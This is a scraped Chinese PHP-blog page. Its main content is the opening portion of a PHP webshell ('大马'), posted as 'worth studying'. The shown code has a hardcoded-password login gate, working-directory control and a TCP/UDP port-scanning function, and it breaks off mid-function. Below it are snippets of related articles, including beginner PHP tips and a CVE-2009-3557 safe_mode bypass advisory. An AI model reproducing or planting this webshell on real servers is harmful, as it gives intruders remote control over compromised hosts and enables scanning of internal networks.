易截截图软件、单文件、免安装、纯绿色、仅160KB

一php大马,值得研究

<?php
#--Config--#
$login_password= '123456'; //这是密码
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_POST = &$HTTP_POST_VARS;
if(!isset($_GET))$_GET = &$HTTP_GET_VARS;
if(!isset($_COOKIE))$_COOKIE=$HTTP_COOKIE_VARS;
$_REQUEST = array_merge($_GET, $_POST);
if (get_magic_quotes_gpc()){
foreach ($_REQUEST as $key=>$value)
{
$_REQUEST[$key]=stripslashes($value);
}
}
function hlinK($str=""){
$myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
$ret=$_SERVER['PHP_SELF']."?";
$new=explode("&",$str);
foreach ($_GET as $key => $v){
$add=1;
foreach($new as $m){
$el = explode("=", $m);
if ($el[0]==$key)$add=0;
}
if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&";
}
$ret.=$str;
return $ret;
}
if(!empty($login_password)){
if(!empty($_REQUEST['fpassw'])){
if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
@header("Location: ".hlinK());
}
if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password))die("<html><body><table><form method=post><tr><td>Password:</td><td><input type=hidden name=seC value=about><input type=password name=fpassw></td></tr><tr><td></td><td><input type=submit value=login></td></tr></form></table></body></html>");
}
if (!empty($_REQUEST['workingdiR'])) chdir($_REQUEST['workingdiR']);
function checkthisporT($ip,$port,$timeout,$type=0){
if(!$type){
$scan=@fsockopen($ip,$port,$n,$s,$timeout);
if($scan){fclose($scan);return 1;}
}
elseif(function_exists('socket_set_timeout')){
$scan=@fsockopen("udp://".$ip,$port);
if($scan){
socket_set_timeout($scan,$timeout);
@fwrite($scan,"\x00");


相关文档:

初学PHP的18个基础例程

 
如何创建我们的第一个PHP页面呢?非常简单的!选择我们使用的一个最好的设计工具,当然你也可以 只使用记事本。创建之后记得要保存为扩展名为PHP的文件,然后传到我们的服务器
上。
  在编写PHP程序之前通常我们需要配置我们的环境,也就是说服务器
要支持PHP才能行啊
  一、PHP的基本结构:
  使用Incl ......

从php编码习惯谈程序效率!


尽量使用单引号而不是双引号。
尽量使用带条件的include而不是require。
尽量使用echo而不是print。
尽量使用内嵌的HTML而不是echo。
尽量使用str-replace()而不是ereg-replace()。
尽量sql不用联合查询。
......

php和java关于目录树(列出某一目录下文件结构)

java的写法
/**
*
* @param location
* @param nameList保存结果的!
*/
public void listDict(String location, List<String> nameList) {
File fileList = new File(location);
if (fileList.isDirectory()) {
File[] files = fileList.listFiles();
for (File f : files) {
i ......

php 关于如何获取域名或者IP地址的$_SERVER['']

服务器变量 $_SERVER 详解:
1、$_SESSION['PHP_SELF'] -- 获取当前正在执行脚本的文件名
2、$_SERVER['SERVER_PROTOCOL'] -- 请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。
3、$_SERVER['REQUEST_TIME'] -- 请求开始时的时间戳。从 PHP 5.1.0 起有效。和time函数效果一样。
4、$_SERVER['argv'] - ......

PHP tempname()函数绕过safe_mode安全限制漏洞

BUGTRAQ ID: 36555
CVE ID: CVE-2009-3557
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的tempnam()中的错误可能允许绕过safe_mode限制。以下是ext/standard/file.c中的有漏洞代码段:
PHP_FUNCTION(tempnam)
{
char *dir, *prefix;
int dir_len, prefix_len;
size_t p_len;
char ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号